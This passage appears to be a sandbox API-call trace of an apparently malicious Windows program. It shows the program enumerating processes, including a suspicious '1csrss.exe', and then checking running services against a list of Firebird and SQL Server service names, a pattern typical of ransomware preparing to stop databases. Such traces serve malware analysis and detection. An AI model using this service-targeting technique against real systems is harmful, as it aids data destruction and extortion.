1 [0289.274] lstrlenW (lpString="lsass.exe") returned 9 [0289.274] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.275] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.275] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.275] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.276] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.276] lstrlenW (lpString="svchost.exe") returned 11 [0289.276] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.277] lstrlenW (lpString="svchost.exe") returned 11 [0289.277] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0289.278] lstrlenW (lpString="dwm.exe") returned 7 [0289.278] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.278] lstrlenW (lpString="svchost.exe") returned 11 [0289.278] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.279] lstrlenW (lpString="svchost.exe") returned 11 [0289.279] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.280] lstrlenW (lpString="svchost.exe") returned 11 [0289.280] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.280] lstrlenW (lpString="svchost.exe") returned 11 [0289.280] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.281] lstrlenW (lpString="svchost.exe") returned 11 [0289.281] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.282] lstrlenW (lpString="svchost.exe") returned 11 [0289.282] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.282] lstrlenW (lpString="svchost.exe") returned 11 [0289.282] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.283] lstrlenW (lpString="svchost.exe") returned 11 [0289.283] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.284] lstrlenW (lpString="svchost.exe") returned 11 [0289.284] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.284] lstrlenW (lpString="svchost.exe") returned 11 [0289.285] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.285] lstrlenW (lpString="spoolsv.exe") returned 11 [0289.285] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0289.286] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0289.287] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0289.287] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0289.287] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0289.288] lstrlenW (lpString="Memory Compression") returned 18 [0289.288] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.289] lstrlenW (lpString="svchost.exe") returned 11 [0289.289] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0289.290] lstrlenW (lpString="audiodg.exe") returned 11 [0289.290] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.291] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0289.291] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.291] lstrlenW (lpString="sihost.exe") returned 10 [0289.291] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.292] lstrlenW (lpString="svchost.exe") returned 11 [0289.292] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.293] lstrlenW (lpString="taskhostw.exe") returned 13 [0289.293] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0289.293] lstrlenW (lpString="msoia.exe") returned 9 [0289.293] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.294] lstrlenW (lpString="explorer.exe") returned 12 [0289.294] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.295] lstrlenW (lpString="SearchUI.exe") returned 12 [0289.295] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.295] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0289.296] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.296] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0289.296] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0289.297] lstrlenW (lpString="1csrss.exe") returned 10 [0289.297] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.298] lstrlenW (lpString="svchost.exe") returned 11 [0289.298] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0289.298] CloseHandle (hObject=0x4c4) returned 1 [0289.298] Sleep (dwMilliseconds=0x1f4) [0289.801] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddd40 [0289.802] EnumServicesStatusExW (in: hSCManager=0x7ddd40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0289.802] GetLastError () returned 0xea [0289.802] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x466fff8 [0289.802] EnumServicesStatusExW (in: hSCManager=0x7ddd40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466fff8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466fff8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0289.803] CloseServiceHandle (hSCObject=0x7ddd40) returned 1 [0289.803] lstrlenW (lpString="AppXSvc") returned 7 [0289.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0289.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0289.803] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0289.803] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0289.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0289.803] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0289.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.803] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0289.803] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0289.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0289.803] lstrlenW (lpString="Audiosrv") returned 8 [0289.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0289.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0289.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0289.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0289.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0289.803] lstrlenW (lpString="BFE") returned 3 [0289.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0289.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0289.804] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0289.804] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0289.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0289.804] lstrlenW (lpString="BITS") returned 4 [0289.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0289.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0289.804] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0289.804] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0289.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0289.804] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0289.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.804] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0289.804] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0289.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0289.804] lstrlenW (lpString="CDPSvc") returned 6 [0289.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0289.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0289.804] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0289.804] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0289.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0289.804] lstrlenW (lpString="ClickToRunSvc") returned 13 [0289.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0289.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0289.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0289.804] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0289.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.804] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0289.804] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0289.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0289.804] lstrlenW (lpString="CryptSvc") returned 8 [0289.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0289.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0289.805] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0289.805] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0289.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0289.805] lstrlenW (lpString="DcomLaunch") returned 10 [0289.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0289.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0289.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0289.805] lstrlenW (lpString="DeviceAssociationService") returned 24 [0289.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0289.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0289.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0289.805] lstrlenW (lpString="Dhcp") returned 4 [0289.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0289.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0289.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0289.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0289.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0289.805] lstrlenW (lpString="Dnscache") returned 8 [0289.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0289.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0289.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0289.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0289.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0289.805] lstrlenW (lpString="DoSvc") returned 5 [0289.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0289.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0289.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0289.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0289.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0289.806] lstrlenW (lpString="DPS") returned 3 [0289.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0289.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0289.806] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0289.806] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0289.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0289.806] lstrlenW (lpString="DusmSvc") returned 7 [0289.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0289.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0289.806] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0289.806] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0289.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0289.806] lstrlenW (lpString="EventLog") returned 8 [0289.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0289.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0289.806] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0289.806] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0289.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0289.806] lstrlenW (lpString="EventSystem") returned 11 [0289.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0289.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0289.806] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0289.806] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0289.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0289.806] lstrlenW (lpString="FontCache") returned 9 [0289.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0289.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0289.806] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0289.806] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0289.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0289.806] lstrlenW (lpString="gpsvc") returned 5 [0289.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0289.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0289.806] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0289.807] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0289.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0289.807] lstrlenW (lpString="iphlpsvc") returned 8 [0289.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.807] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0289.807] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0289.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0289.807] lstrlenW (lpString="KeyIso") returned 6 [0289.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0289.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0289.807] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0289.807] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0289.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0289.807] lstrlenW (lpString="LanmanServer") returned 12 [0289.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0289.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0289.807] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0289.807] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0289.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0289.807] lstrlenW (lpString="LanmanWorkstation") returned 17 [0289.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.807] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0289.807] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0289.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0289.807] lstrlenW (lpString="lfsvc") returned 5 [0289.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0289.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0289.807] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0289.807] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0289.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0289.807] lstrlenW (lpString="lmhosts") returned 7 [0289.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0289.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0289.808] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0289.808] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 